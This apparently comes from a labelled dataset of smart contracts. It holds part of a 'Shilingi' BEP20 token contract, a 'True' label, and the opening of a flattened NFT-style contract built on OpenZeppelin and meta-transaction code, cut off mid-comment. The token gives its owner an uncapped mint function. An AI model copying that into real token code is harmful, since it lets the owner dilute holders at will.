function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Shilingi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
constructor() public {
_name = "Shilingi";
_symbol = "SHS";
_decimals = 18;
_totalSupply = 30000000000000000000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-01-03
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/specs/IEIP2981.sol
pragma solidity ^0.8.0;
/**
* EIP-2981
*/
interface IEIP2981 {
/**
* bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a
*
* => 0x2a55205a = 0x2a55205a
*/
function royaltyInfo(uint256 tokenId, uint256 value) external view returns (address, uint256);
}
// File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File: contracts/common/Initializable.sol
pragma solidity ^0.8.0;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
// File: contracts/common/EIP712Base.sol
pragma solidity ^0.8.0;
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contracts that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public view returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: contracts/common/NativeMetaTransaction.sol
pragma solidity ^0.8.0;
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
payable(msg.sender),
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// File: contracts/common/ContextMixin.sol
pragma solidity ^0.8.0;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = payable(msg.sender);
}
return sender;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
